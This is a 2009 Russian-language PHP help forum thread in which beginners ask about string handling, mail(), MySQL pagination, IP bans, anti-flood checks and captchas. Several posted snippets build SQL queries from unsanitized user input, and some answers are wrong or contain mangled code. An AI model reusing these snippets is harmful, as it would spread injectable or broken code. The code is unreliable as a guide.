set_time_limit ( 0 );

2330. Slavka-r (09.09.09 / 11:55)
и ещо вопрос по php. вот идет файл bhfjgiu.rar как отодрать .rar сча доделываю скрипт по огронечению скорости скачивания... а там используется mime-type вот проблемка

2331. Slavka-r (09.09.09 / 12:44)
я чет не понимаю, почему этот код нагружает комп на столько что приходится каждый раз денвер перезагружать????
http://upwap.ru/549324

2332. Удаленный (09.09.09 / 23:50)
$f = explode(".","file.name.rar"); $c = count($f)-1; echo $f[$c];

2333. blud (10.09.09 / 09:24)
можно сделать так чтобы в текстовый файл записнаать записи а потом к этим записем обращатся примерно так index.php?id=1 и так дале?

2334. Удаленный (10.09.09 / 10:37)
2359,да можно

2335. blud (10.09.09 / 10:56)
а как это можно сделать кто нибуть подскажет всю голову изломал

2336. Удаленный (10.09.09 / 11:24)
ты где это хочешь сделать? я могу тебе написать за небольшую копеечкуD.gif 50 рублей

2337. Удаленный (10.09.09 / 21:30)
blud, больше 5 рублей эта работа не стоит

2338. Удаленный (10.09.09 / 21:52)
Blud, создаешь 2 файла: 1) base.txt, 2) index.php . В текстовой файл записываешь свои записи. А в index.php пишешь этот код: <?php $id = @$_GET['id']; $string = file("base.txt"); echo trim($string[$id]); ?> и будет тебе счастье ;)

2339. Удаленный (11.09.09 / 03:08)
64,ему надо чтоб при каждом вводе в поле сайт записывался в файл,а не твой велосипед написанный.

2340. Удаленный (11.09.09 / 08:50)
65, цитирую: blud. Мо

2341. Удаленный (11.09.09 / 08:56)
Мля... Короче, что он просил, то я ему и написал. 65, ты бы еще <?php echo 'hello world'; ?> вот это ему б за 50р написал. Гг

2342. Удаленный (11.09.09 / 11:44)
Че ты какой то бред та понёс? Он просил со всем другое у меня,там где с формы берутся записи и записываются в файл,и твой код велосипед ИМХО,создавать и записывать надо со всем по другому а не пользоватся прошлым веком.

2343. mocart (11.09.09 / 15:17)
Постаничка, юзер один просил).gif

<?php
$arr=file("");
$all=count($arr);
$pnumber=5;
$page=(isset($_GET['page']))?(int)$_GET['page']:1;
$num_pages=ceil($all/$pnumber);
$start=$page*$pnumber-$pnumber;
i f($page>$num_pagesII $page<1)
{ $page=1;
$start=0;
} if($all)
{ for($i=$page*$pnumber-$pnumber;$i<$pnumber*$page;$i++)
{ if(!isset($arr[$i])) break;
скрипт
}
echo '<p>';
for($pr='',$i=1;$i<=$num_pages;$i++)
{ echo $pr=(($i==1II$i==$num_pagesIIabs($i-$page)<2)?($i==$page?"[& #36;i]":'<a href="'.$_SERVER['SCRIPT_NAME'].'?page='.$i.'">'.&# 36;i.'</a>'):(($pr=='...'II$pr=='')?'':'...')) ;
}echo'</p>';
}else
{ echo'<p>элементов нет</p>' ;}
?>


2344. mocart (11.09.09 / 15:20)
Концовка тупитecho $pr=(($i==1II$i==$num_pagesIIabs($i-$page)<2)?($i==$page?"[& #36;i]":'<a href="'.$_SERVER['SCRIPT_NAME'].'?page='.$i.'">'.&# 36;i.'</a>')(.gif($pr=='...'II$pr=='')?'':'...')) ;
}echo'</p>';
}else
{ echo'<p>элементов нет</p>' ;}


2345. Удаленный (11.09.09 / 21:55)
68, ты тормоз мля, мне все равно что он у тебя просил, в теме он просил другое.

2346. bboytwist (12.09.09 / 14:34)
Как сделать что бы при загрзке файла,ссылка на загруженный файл записывалась в БД?

2347. gangikass (12.09.09 / 17:30)
Ребят можно ли проверить подмену рефера?

2348. blud (14.09.09 / 17:01)
Vetas,спасибо большое за помощь +

2349. blud (14.09.09 / 17:03)
почиму то плюс не могу дать (.gif

2350. Atuwap (15.09.09 / 21:36)
Нужен помош по грабу. Ест ссылка Online: 15 как вырезать его? Я так вырезая а Чыфры остается.
$file = str_replace('Onlayn: ','',$file);
цыфры меняется при новым узером. Мне надо вырезать его. Типа такой фасон код ест? Online: [0-9*?] чтоб вырез онлайн с чыфром?

2351. 4oku (16.09.09 / 02:51)
2371 я понимаю что ты Сочинец!Но и я тоже...тока без матов и нервов!

2352. Jetx (16.09.09 / 07:48)
Чуваки спомошью функции mail(); в параметре $to(кому)
можно ли какнибудь отправить на 2 мыла?

2353. 9e9ywk0 (16.09.09 / 08:34)
78, только с помощью цикла

2354. Jetx (16.09.09 / 08:44)
Поподробней пожалуйста, я новачок и еше невсе знаю.

2355. Freeman-gold (16.09.09 / 12:46)
Народ помогите!почему не работает функции смайлов?че делать?

2356. Удаленный (16.09.09 / 17:31)
Нет такой функции смайлов. Может что то другое имел ввиду?

2357. TarZan (16.09.09 / 17:54)
2380
Щас напишу чтото похожее.Если не прав то поправьте меня!
$mail=array('[email protected]', '[email protected]');
for($i=0; $i<=2; $i++){
тут ф-ция отправки
и там где to($mulo[$i])
}
вроде так .Неуверен что правильно а то я с тела

2358. TarZan (16.09.09 / 17:57)
там $mail[$i]

2359. Atuwap (16.09.09 / 20:35)
Нужен помош по грабу. Ест ссылка Online: 15 как вырезать его? Я так вырезая а Чыфры остается.
$file = str_replace('Onlayn: ','',$file);
цыфры меняется при новым узером. Мне надо вырезать его. Типа такой фасон код ест? Online: [0-9*?] чтоб вырез онлайн с чыфром?

2360. crows (16.09.09 / 23:28)
При удалении файлов типа mp3, avi, gif и т.п., нада им ставить ***д 666?

2361. crows (16.09.09 / 23:30)
ч_м_о

2362. Siriys (17.09.09 / 00:26)
86,87.естественно.

2363. Jetx (17.09.09 / 06:52)
Чуваки вот я адреса e-mail заключил в масив 3атем в цикле for прописал mail($to[$i],...) но отправляет почемуто только на один адрес.

2364. Jetx (17.09.09 / 06:55)
Может неправильно потомушто mail в самом цикле я себе уже неделю мозг над етой ***ней ломаю.

2365. crows (17.09.09 / 09:24)
ясно. им права выставлять сразу после загрузки?

chmod ("file.mp3", 0666);

так или как?

2366. crows (17.09.09 / 09:26)
Нада права ставить именно файлу или указателю?

2367. Siriys (17.09.09 / 11:25)
Именно файлу.

2368. Удаленный (17.09.09 / 19:04)
85, $file = ereg_replace("^(Online: [0-9])$", $file);

2369. Удаленный (17.09.09 / 19:10)
85, ссори, правильно вот так: $file = eregi_replace("^(Online: [0-9])$", "", $file);

2370. Wakko (18.09.09 / 22:49)
Имеет ли значение где в скрипте находиться данная функция:
function mh($mh) { 
$mh = str_replace("А","Б",$mh);
return $mh; }
ob_start(mh);
}


2371. Wakko (18.09.09 / 22:50)
последней } быть там недолжно, опечатался.

2372. crows (19.09.09 / 09:23)
Функция меняет А на Б. Но к чему вопрос?))

2373. Wakko (19.09.09 / 11:12)
2398 я и без тебя это знал. Мне нужно узнать:

ob_start ();
function mh($mh) {
$mh = str_replace("1","2",$mh);
return $mh; }
ob_start(mh);
ob_end_flush();

После каждой ob_start (); нужно выводить ob_end_flush(); ? или же хватит одной в конце?

2374. Atuwap (19.09.09 / 11:30)
2395. Чтото не сработала.

2375. Удаленный (19.09.09 / 15:44)
Должно работать...

2376. FreeWorld (19.09.09 / 18:26)
#2399 а не много буферизаторов? к чему всё это?
ob_start() в начале
ob_end_flush() в конце

2377. Удаленный (19.09.09 / 19:26)
2399,функция ob_start() включает буферизацию вывода и ставится функция в начале,а ob_end_flush() завершает показ буферизации и ставится в конце.

2378. Удаленный (19.09.09 / 19:29)
Если хочешь что буферизировать то ставь в нужном месте,а в начале это ты весь код буфернёшь).gif

2379. FreeWorld (19.09.09 / 20:05)
#2404 ну это то и понятно.
имхо, до маразма опускаться не стоит, а то мы скоро дойдём до
<?php ... ?>

с вопросом: "чего это такое?".

2380. Удаленный (20.09.09 / 03:48)
Тебе понятно может а ему нет.

2381. Atuwap (20.09.09 / 20:42)
Что написать на Htaccess ? Чтоб при добавление файла не залили скрипт или шелл? (+ name.dat и index.php ест на папке с файлом. Типа загруз мотора)

2382. Aleksandr (20.09.09 / 21:22)
http://visavi.net/forum/index.php?fid=11&id=122190303827&page=100&

2383. Atuwap (20.09.09 / 22:30)
08 не получается надо новый идея

2384. Удаленный (21.09.09 / 02:39)
Deny from all

2385. NEx (21.09.09 / 10:46)
#2407 поставь mimetype для php text/plain

2386. Titov (21.09.09 / 20:11)
вопрос:
Если в одном файле сделать два конекта к двум разным базам данных, с разными пользователями и разными паролями находящихся на одном хостинге(сервере) будет ли ето работать? Не увеличиться ли нагрузка или другие какието факторы в процессе работы данного скрипта?

2387. Удаленный (21.09.09 / 20:33)
Будет работать, а нагрузка само собой увеличится.

2388. Удаленный (21.09.09 / 20:38)
12, извини я перепутал, нет, не будет работать.

2389. myz-tv (21.09.09 / 20:51)
будет работать нагрузка не сильно увеличится

2390. NEx (22.09.09 / 08:34)
Будет работать если в mysql_query передавать идентификатор коннекта к дб

2391. seif (22.09.09 / 16:27)
Подскажите пожалуста. Имеется несколька таблиц к примеру test test1 test2 test3 как можно собрать все эти таблицы в одно целое и вывести содержимое одновремено на страницу

2392. Удаленный (22.09.09 / 16:30)
2417,операндом $summa=$test + $test1 + $test3;

2393. Удаленный (22.09.09 / 16:32)
2417,а нет извини вот так $summa=$test[0] + $test1[0] +$test2[0] + $test3[0]; это слаживаешь запросы таблиц в коде

2394. NEx (22.09.09 / 16:50)
2419, ну насмешил).gif
SELECT * FROM `table1`, `table2`

2395. seif (22.09.09 / 17:37)
NEx а ты уверен что это будет работать? ))) у тебя выведится информация из последней таблицы.
User спасибо. мне ещё один способ подсказали
mysql_query("SELECT * FROM 6znak UNION SELECT * FROM 7znak UNION SELECT * FROM 8znak UNION SELECT * FROM 9znak");
работает только в PHP5

2396. Удаленный (22.09.09 / 18:13)
20,ты рот прикрой умник мля,со своим запросом. Я написал как из кода таблиц где можно посчитать. И твой пост меня наоборот насмешил.

2397. Удаленный (22.09.09 / 18:14)
Если запрос его заключается в эти переменные что я слаживал.

2398. NEx (22.09.09 / 21:57)
#2421, да я абсолютно уверен. Мой запрос выведет все значения из обоих таблиц.
#2422, ты какой то импульсивный. Даже если я написал что мне стало смешно я не пытался тебя оскорбить).gif а вот ты пытаешься).gif

2399. NEx (22.09.09 / 22:28)
хы) не понял вопрос "в одно целое и вывести содержимое одновремено на страницу" вот и собрал все данные из всех таблиц в одну кучу, но судя по примеру в 2421 тебе необходимо данные вывести последовательно) тогда самый оптимальный вариант будет с юнионами)

2400. TarZan (23.09.09 / 01:29)
Люди а как посчитать и вывести ин со всей таблицы. тоесть есть табла юзерс
ид кр
1 2
2 10
3 4
как посчитать все кр, чтоб вывело 16

2401. TarZan (23.09.09 / 01:30)
Люди а как посчитать и вывести ин со всей таблицы. тоесть есть табла юзерс
ид кр
1 2
2 10
3 4
как посчитать все кр, чтоб вывело 16

2402. NEx (23.09.09 / 10:16)
SELECT SUM(`kr`) FROM `table`

2403. Удаленный (23.09.09 / 13:29)

$1 = mysql_fetch_row(mysql_query("SELECT sum(`colonka`) FROM tablica"));
$sum = $1[0];
print($sum);


2404. Удаленный (23.09.09 / 23:02)
29, названия переменных не могут начинаться с цифр ).gif

2405. Удаленный (24.09.09 / 00:04)
30, знаю, это просто пример запроса. 1 попало первое под руку =D

2406. Night (24.09.09 / 00:53)
DirectoryIndex index.html
RedirectMatch /.* http://сайт.ru/
Правильно вторая часть? Я хочу чтобы при запросе любой страницы сайта сайт.ru юзера бросало бы на главную сайта. В частностий на сайт.ru/индекс.html

2407. TarZan (24.09.09 / 09:43)
какой код чтоб делало каталог всех каталогов и файлов на том уровне и и выше где находиться скрипт

2408. ion (25.09.09 / 07:40)
Привет всем кто может помочь хочу сделать в чате поворот фото на 180, 90, 270 градусов, но не получается! помогите

2409. TarZan (27.09.09 / 14:04)
2433 *архив
И еще подскажите как сделать бан по ип и как сделать рекламу по времени на файлах!

2410. Wapruks (27.09.09 / 15:07)
Бан по ип элементарно. Создаеш таблицу с полями ип и время. Проверяеш ип юзеров,нагрубил-в таблицу ип его и на какое время. При входе проверяй на бан. Если есть-гоу то фак. Но есть минусы. Например кто юзает с мобилки. Может и других не пускать

2411. AxqpxA (27.09.09 / 19:11)
36. делаешь еще запись арбузера!
а потом сверяешь, если арбузер и ip совпали, то выводишь соответствующее сообщение!
и риск на то-что кто-то получит бан по ip случайно, снижается ).gif

2412. seif (29.09.09 / 08:31)
Помогите составить регулярное вырожение. Для проверки правильности заполнения адреса сайта без http:// и чтоб работало без подавления ошибок (! и @) т.к. когда оставяеш поле пустое выдает ошибку "адрес сайта написали с ошибкой"

2413. AxqpxA (29.09.09 / 16:50)
38. Для проверки что сайт введен без http:// юзай preg_match () я бы дал пример, но у меня телефон не поддерживает большинство символов! а для проверки введен ли сайт или нет, вот код:
 if ($site ==''){echo 'вы не ввели сайт';} 


2414. seif (29.09.09 / 17:20)
39, спасиб. сам уже разобрался).gif

2415. seif (01.10.09 / 00:27)
Имеется чисто белая картинка, можно ли с помощью php кода изменить на ней цвет фона? если да, то как?

2416. dosma (01.10.09 / 00:37)
Line 1, Column 1: character "" not allowed in prolog 
  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http:/

что за ошибка? не мог понять..

2417. orel (03.10.09 / 17:17)
dosma,
<?php
echo '
Line 1, Column 1: character "" not allowed in prolog
  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http:/
';

2418. SD-k790 (04.10.09 / 23:55)
Подскажите, как организовать переадресацию после вывода текста. Например выводится "ОК" и сразу должна выполнится переадресация.
З.Ы. header Location не катит

2419. seif (05.10.09 / 09:26)
2444,

<meta http-equiv="Refresh" content="5; URL=index.php">

через 5 секунд будет переадресация. Цифрой 5 задается время

2420. paradoks (05.10.09 / 13:39)
что значит знак %
заранее спасибо

2421. Удаленный (05.10.09 / 14:44)
2446,это оператор остатка

2422. Gansik (07.10.09 / 17:32)
Подскажите алгоритм!
Хочу написать модуль типа лидер сайта. Задача такова:
пользователь набравший за сутки больше всех к-во балов становиться лидером дня. Каждые сутки в 00:00 лидер меняеться!
все на мускуле

2423. NEx (07.10.09 / 21:36)
Высчитывай и записывай лидера. скрипт запускай кроном

2424. shurik (08.10.09 / 07:19)
как определить ip посетителя? знаю что надо через $_SERVER[''] не помню что в скобках

2425. Удаленный (08.10.09 / 08:01)
2450, $_SERVER['PHP_SELF'];

2426. Удаленный (08.10.09 / 11:35)
Блин не тот массив написал тебе,вот этот определит iр,путаюсь $_SERVER['REMOTE_ADDR'];

2427. seif (09.10.09 / 07:02)
Подскажите. Как же сделать вывод случайной ссылки, если данные хранятся в мускул. Все же делается примерно так же как и на файлах, только данные берутся из базы. У меня получилось что при обновление страницы ссылка пропадает, остается пустое место, еще при обновление страницы эта ссылка появляется. Подскажите код

2428. Удаленный (09.10.09 / 09:59)
2453, ну вот к примеру так,дальше под свои запрос подгонишь под свои поля и таблицу!
$rand = @mysql_query ("Select id,user,
onl,link from users where link!='' order by onl desc limit 1");
while ($a2 = mysql_fetch_array($rand))
{
echo " ".$a2["user"]<br/>";
}


2429. Удаленный (09.10.09 / 10:03)
через фунцию rand_array()

2430. seif (09.10.09 / 11:40)
User ошибка не определеная функция rand_array

2431. HOOF (09.10.09 / 13:59)
мне кажется проще в мускуле сразу рандомно выбирать ссылку...

2432. NEx (09.10.09 / 23:07)
$res = mysql_query("SELECT `link` FROM `table` ORDER BY RAND() LIMIT 2");
while($row = mysql_fetch_array($res)) echo $row['link'];

2433. z-kzn-z (11.10.09 / 19:30)
есть у нас объект-картинка, созданная imagecreatetruecolor()
как узнать сколько эта картинка будет весить (да да, именно размер), не сохраняя ее?

2434. Aleksandr (15.10.09 / 20:46)
2459, помоему никак. практически любой браузер итак покажет размер открытой картинки

2435. DmitryDick (16.10.09 / 04:27)
2459, не уверен, но попробуй так:

<?php
ob_start();
echo $image;
$img = ob_get_contents();
ob_end_clean();
echo 'size: '.round(strlen($img)/1024, 1).'kb';
?>


2436. shurik (16.10.09 / 10:11)
люди, хелп!

if (isset($id)){
$com3 = mysql_query("SELECT * FROM comnew WHERE new='$id'", $db);
$com4 = mysql_fetch_array($new3); }

выдает ошибку

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in T:\home\localhost\games\new.php on line 37

строка 37 это третья из тех которая дана выше

2437. shurik (16.10.09 / 10:43)
проблема решена

2438. Vitaliy (17.10.09 / 19:39)
ребята как посчитать сколько строк в файле?дайте код)

2439. Vitaliy (17.10.09 / 19:59)
да и вот...как посчитать количество строк в переменной?)

2440. DmitryDick (17.10.09 / 23:39)
2464,
$f = file('файл');
$lines = count($f);
2465,
Не проверял:
preg_match('~\n~', $var, $lines);
$lines = count($lines) - 1;

2441. Vitaliy (18.10.09 / 17:49)
2466.спасибо).gif
2467.спасибо;)

2442. Vitaliy (18.10.09 / 19:41)
смотрите у меня на локалке когда кукис отправлялись с
localhost/avt то они были доступни во всей папке avt ну а на счет локалке хз...а тепер отправляються с localhost/avt/in и почемуто доступны только в ин..что делать,как на весь домен их показивать?

2443. Vitaliy (19.10.09 / 20:04)
уже решыл ..дайте ктото регулярку для проверки мыла)

2444. Vantuz (19.10.09 / 21:15)
if (preg_match('#^([a-z0-9_\-\.])+\@([a-z0-9_\-\.])+(\.([a-z0-9])+)+$#',$mail)){

2445. myz-tv (19.10.09 / 22:28)
2465, sizeof($str);

2446. Vitaliy (19.10.09 / 22:54)
2471.спасибо потом буду тестить что и как)

2447. Sagym (22.10.09 / 16:01)
Ребят как вывести на одну и туже страницу инфу с разными значениями
например язык вот так:
Привет Человек(Engl)ссылка engl выводила бы на этой же странице
Hellow People(Rus)ссылка rus выводила бы на этой же странице
пишу так в ссылку index.php?lang=rus он в адресной строке выводит её а параметр не сменился на странице!Хотя $lang= intval($_GET['lang']);
Помогите пожалуйста!

2448. Vitaliy (22.10.09 / 22:35)
2474.функция intval возвращает число а ты вводиш rus и оно возвращает 0 так что убери её потом ставь так

<?
if($_GET['lang']=='engl'){echo 'Hellow People(<a href="?lang=rus">Rus</a>)';}
if($_GET['lang']=='rus'){echo 'Привет Человек(<a href="?lang=engl">engl</a>)';}
?>


2449. Sagym (23.10.09 / 11:45)
if (mysql_num_rows($result) > 0)
{
$myrow = mysql_fetch_array ($result);
$new_view = $myrow["view"] +1;
$update = mysql_query("UPDATE 5dig SET view='$new_view' WHERE id='$id'",$db);
}
else
{
}
почему не работает толком надо что бы каждый раз +1 припичывал а щас только один раз приписал и всё!

2450. HOOF (23.10.09 / 12:35)
нужно чтобы тип поля был цифровой, и проще сделать так:
mysql_query("update table set pole=pole+1");


2451. Gansik (24.10.09 / 12:42)
такой вопрос, хочу здалать на сайте типа статусов юзверей, но не могу понятьь почему функция не правельно работает!
function status($user=NULL)
{
global $set;
$status = mysql_fetch_array(mysql_query("SELECT `balls` from `user` where `id`='$user' limit 1;"));
if ($status['balls']=0 && $status['balls']<5)echo "Залетный\n";
if ($status['balls']=5 && $status['balls']<100)echo "Гость\n";
if ($status['balls']=100 && $status['balls']<300)echo "Прохожий\n";
if ($status['balls']=300 && $status['balls']<500)echo "Легенда\n";
}

Выводит у всех пользователей почемуто: Гость Легенда

2452. shurik (24.10.09 / 12:48)
78,не пробовал ставить "=="? знак "=" это знак присвоить

2453. Gansik (24.10.09 / 12:53)
79, нееее так вообще не работает, нечего не выводит

2454. DmitryDick (24.10.09 / 14:12)
78, ну и чушь =)

<?php
if ( $status['balls'] <= 5 ) echo 'Залетный';
else if ( $status['balls'] > 5 && $status['balls'] < 100 ) echo 'Гость';
else if ( $status['balls'] >= 100 && $status['balls'] < 300 ) echo 'Прохожий';
else if ( $status['balls'] >= 300 && $status['balls'] < 500 ) echo 'Легенда';
?>


2455. Gansik (24.10.09 / 14:47)
81,спасибо, так сработало. сильно не матерится я только учусь)) через 2 часа с меня аптека)

2456. ramzes (24.10.09 / 15:23)
if($status['balls']<5){
return 'Новичек';
}
Лучше так возвращай, а не через echo'';
echo'<hr>'.status();
выведет сначала результат работы функции а потом только черту. А через return выведет так как написано, черта потом результат функции.

2457. DmitryDick (24.10.09 / 15:57)
82, =)
83, ну так, мб, он и использует без эхо =)

2458. Gansik (24.10.09 / 19:14)
83, спасибо за подсказку, скрипт заметно быстрей заработал)))

2459. Sagym (25.10.09 / 21:54)
РЕбят подскажите про навигацию на mysql пожалуйста?
$page = mysql_query ("SELECT * from test LIMIT 0,10",$db);////от 0 до 10 записей потом
$page2 = mysql_query ("SELECT * from test LIMIT 10,20",$db);////от 10 до 20 записей потом
вот как осуществить вывод ?или подскажите проще лучше и функциональнее

2460. ramzes (26.10.09 / 00:32)
<?php
if(isset($_GET['page'])){
$page = abs(intval($_GET['page']));
}else{
$page = '0';
}
// с какой строки начинаем
$step = '10';
// сколько строк на страницу
$query = mysql_query("SELECT * FROM table LIMIT ".$page.", ".$step.", $db);
//забираем
echo'<a href="page.php?page='.($page+$step).'">далее</a>';
//ссылка


2461. ramzes (26.10.09 / 00:34)
while( $arr = mysql_fetch_array($query)){
echo $arr['id'].'<br>';
}
собственно печатаем

2462. Wapruks (26.10.09 / 04:03)
Юзайте класс Navigator.class.php он легкий и удобный

2463. Sagym (26.10.09 / 12:53)
Ребят пасиб а вот еще вопросик вообщем вывожу с базы так
do
{
$id=$row['id'];
echo $row['zapis']."-";
echo "<a href='test.php?id=".$id."'>Тест</a><br>";
}
while ($row=mysql_fetch_array($query));
Вот ниже этой строчке ничего из переменных и из базы не выводится почему?

2464. ramzes (26.10.09 / 13:16)
while( $arr = mysql_fetch_array($query)){
echo' id: '.$arr['id'];
}

2465. myz-tv (26.10.09 / 13:57)
2490,ты сначала выводишь, а потом запрашиваешь))

2466. ramzes (26.10.09 / 14:57)
Гг точно, я не посмотрел на имена переменных))
И зачем два цикла тоже не понятно).gif один ни чего не делает другой делает из пустоты ни чего))

2467. Sagym (26.10.09 / 15:12)
Напиши пожалуйста как должно быть

2468. ramzes (26.10.09 / 16:56)
Запрос
$q = mysql_query("SELECT * FROM table;");
Выводим циклом содержимое массива
while( $arr = mysql_fetch_array($q)){
Выводим на страницу
echo $arr['id'].', '; }
выведет:
1, 2, 3, 4, ...

2469. Sagym (26.10.09 / 19:41)
Почему то первую запись не выводит хотя кол-во строк в базе показыват нормально!почему?
все равно поле выполнения цикла вывод переменных и т.д не осуществляется??почему?

2470. wenux (27.10.09 / 05:18)
$url = 'http://visavi.net/';
$name = 'Лучший сайт';
$url2 = 'http://kento.ru/';
$name2 = 'Мир скриптов';

вот файл rekl.php допустим
вопрос:
как мне этот файл вывести в index.php так чтоб при добавлении новых ссылок они сами выводились?

2471. wenux (27.10.09 / 06:29)
тишинааа... D.gif

2472. Удаленный (27.10.09 / 09:44)
98, в index.php пиши:
<?php
include('rekl.php');
echo '<a href="'.$url.'">'.$name.'</a><br>
<a href="'.$url.'">'.$name.'</a><br>';
?>

2473. myz-tv (27.10.09 / 10:39)
2497,
<?php
include('rekl.php');
$i='';
while($url{$i}!=''){
echo '<a href="'.$url{$i}.'">'.$name{$i}.'</a><br>';
$i=($i=='')?2:$i++;
}
?>


2474. wenux (27.10.09 / 11:31)
Vetas, так и я знаю как
Муз-ТВ, благодарю

2475. wenux (27.10.09 / 11:39)
переделайте пожалуйста этот код
я в echo использую двойные скобки

2476. myz-tv (27.10.09 / 12:20)
[CODE]<?php
include('rekl.php');
$i='';
while($url{$i}!=''){
echo "<a href=\"".$url{$i}."\">".$name{$i}."</a><br>";
$i=($i=='')?2:$i++;
}
?>[/CODE]

2477. wenux (27.10.09 / 12:20)
что то вообще тут пусто

2478. wenux (27.10.09 / 12:21)
а... вот... наконец то
только проблема как мне его копировать D.gif

2479. wenux (27.10.09 / 12:23)
сделали бы бб код формы

2480. wenux (27.10.09 / 12:50)
ребят а так будет верно?
<?php
include_once 'rekl.php';
include_once 'config.php';
header('charset: utf-8');
echo "<title>$title</title>";
echo "<link rel='stylesheet' type='text/css' href='/style.css'>";
echo "<div class='$head'>$mainsite</div>";
echo "<div class='$rekl'>";
$i='';
while($url{$i}!=''){
echo "<a href=\"".$url{$i}."\">".$name{$i}."</a><br>";
$i=($i=='')?2:$i++;
}
echo "</div>";
?>


2481. Sagym (27.10.09 / 13:10)
Ребят подскажите осуществелние навигации с помощью Mysql:
$q = mysql_query("SELECT * FROM test LIMIT 0,10",$db);
while ($row=mysql_fetch_array($q))
$q2 = mysql_query("SELECT * FROM test LIMIT 10,20",$db);
while ($row=mysql_fetch_array($q2))
так тупо делать подскажите вариант разумный и простой

2482. shurik (27.10.09 / 13:14)
http://www.softtime.ru/info/articlephp.php?id_article=33
я вот так делаю

2483. phpcoder (27.10.09 / 13:15)
Может как то так

if(isset($_GET['page']))$page=intval($_GET['page']);
if($page==0)$page=1;
$start=($page-1)*10;
$end=$page*10;
$q = mysql_query("SELECT * FROM test LIMIT $start,$end",$db);
...


2484. Vitaliy (27.10.09 / 14:52)
ребята как решить проблему с инклудом?но только без http в начале...както через BASEDIR чтоли?)

2485. Wapruks (27.10.09 / 14:59)
Путь от корня/файл.рнр

2486. Vitaliy (27.10.09 / 15:05)
..мм на локалке от www чтоли?

2487. Wapruks (27.10.09 / 15:12)
Нет. Папку ввв ты не указываеш

2488. Vitaliy (27.10.09 / 15:16)
а как?дай пример=)

2489. Vantuz (27.10.09 / 17:05)
Элемент $_SERVER['DOCUMENT_ROOT']
Элемент $_SERVER['DOCUMENT_ROOT'] содержит путь к корневой директории сервера, если скрипт выполняется в виртуальном хосте, в данном элементе указывается путь к корневой директории виртуального хоста. Т.е. в конфигурационном файле httpd.conf виртуальный хост имеет директиву DocumentRoot, которой присвоено значение "D:/main", элемент $_SERVER['DOCUMENT_ROOT'] будет содержать значение "D:main".

2490. Vitaliy (27.10.09 / 19:58)
вопрос:как правильно получить ИП адрес?)функцию дайте плиз..сразу чтоб с защитой)

2491. Удаленный (27.10.09 / 20:18)
17,D.gif получить iр адрес можно через супер глобальную переменную $_SERVER, а вот сам код $_SERVER['REMOTE_ADDR'];

2492. Vitaliy (27.10.09 / 20:34)
смешно тебе?а в курсе что ето небезопастно и неправильно..

2493. Vantuz (27.10.09 / 20:39)
все правильно, в принципе remote_addr подделать нельзя, но на всякий случай желательно ее обрабатывать например вот так
preg_match('|^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$|',$_SERVER['REMOTE_ADDR'];

2494. Удаленный (27.10.09 / 20:50)
19,а ты в курсе что в жизни существует в пыхе,фильтрация?

2495. Vitaliy (27.10.09 / 20:57)
21.а ты вкурсе что в посте я написал "сразу чтоб с защитой"

2496. Vitaliy (27.10.09 / 20:59)
20.что етая регялрка даст при правильном?фальш или тру..ну тоисть самое первое что?

2497. DmitryDick (28.10.09 / 02:41)
23, true при пральном ip

2498. Vitaliy (28.10.09 / 12:12)
спасибо всем за помошь)

2499. Vitaliy (28.10.09 / 18:29)
возможно получить кукис прямо после отправки?если да то как?

2500. Vitaliy (28.10.09 / 20:31)
дайте пожалуйста код которий нарисует дание с переменной на рисунке ну и выведет его..я вот читаю учебник чето пробую но неполучаеться локалка ругаеться..=)

2501. Vantuz (28.10.09 / 21:26)

$img = imagecreate(100,20); // ширина и высота
$fon = imagecolorallocate($img,255,255,255); // цвет фона
imagefill($img,0,0,$fon); // заливка картинки
$color = imagecolorallocate($img,0, 204, 204); // цвет шрифта
ImageString($img, 5, 3, 2, 'hello', $color); // надпись, где 5 это размер шрифта, 2 отсуп слева, 2 отсуп сверху (от левого верхнего угла)
Header("Content-type: image/gif");
ImageGIF($img);
ImageDestroy($img);


2502. AxqpxA (28.10.09 / 22:13)
....тел повис ...

2503. AxqpxA (28.10.09 / 22:15)
28. Я капчу себе сделал почти по такому методу! ).gif только я используя уже готовую картинку, и шрифт ).gif

2504. Vitaliy (29.10.09 / 18:47)
2530.а можеш сказать как именно капчу зделал по какому принцепу?)

2505. Удаленный (29.10.09 / 18:50)
2531,по принципу сессии скрипта,ты генерируешь числа,затем это всё забиваешь в сессию и выводишь,посмотри в Кусков кода, я там писал код где можно написать каптчу операндом

2506. Удаленный (31.10.09 / 09:05)
лучше использовать графическую каптчу

2507. Vitaliy (31.10.09 / 14:08)
как защититься от двойного(ибольше) нажатия на клавишу отправки даных?

2508. phpcoder (31.10.09 / 14:15)
Можно сравнивать данные с предыдущими данными.. и если совпадают, значит было двойное нажатие..
Либо сделать типа антифлуда.. Чтоб нельзя было посылать данные чаще чем раз в 10 секунд например.

2509. Vitaliy (31.10.09 / 14:20)
2535.ето не поможет..ето вообще ничего не пустит
2536.ну да а ещё варианти есть? вот мне бы достать такой скрипт чтоб заприщал больше 1 запроса в 1 сек а иначе игнорировать запрос

2510. phpcoder (31.10.09 / 14:23)
Записывай в сессию время последней отправки формы..
И при обработке формы сравнивай это время с текущим

if($_SESSION['last_form_time']>time()-1)exit("Не чаще 1 раза в секунду");
$_SESSION['last_form_time']=time();


2511. Vitaliy (31.10.09 / 14:27)
2538.сесии мне не пойдут..ну впринцепе можно по кукисах но если будут писать скрипт флуда то он ето обойдет мне б универсальное чтото..хотя за идею спасибо!=)

2512. Vitaliy (31.10.09 / 14:44)
а вот если создать базу с полями user и last_form_time ну и роботать по такому же принципу то ето не убет мускул?может ето через файлы делать?

2513. ramzes (31.10.09 / 15:21)
$flood_time = time() - 30;
$prov = $sql->query("SELECT * FROM post WHERE ip = '".$ip."' OR autor = '".$login."' AND post_time < '".$food_time."';");
if($prov->num_rows==0){
insert new post
}else{
echo' antiflood!';
exit;
}
Самый нормальный вариант по моему..

2514. Wapruks (31.10.09 / 15:31)
Лучше в сессиях наверн. А то каждый раз в базу лесть не ахти

2515. ramzes (31.10.09 / 15:38)
Один запрос ни чего не решает).gif и все равно лезть надо что бы добавить пост.
плюс сессии это самое ненадежное хранилище данных. Например с усвеба на кенто я даже авторизироваться не могу. Один переход и сессия исчезает. Так что..

2516. Vitaliy (31.10.09 / 19:41)
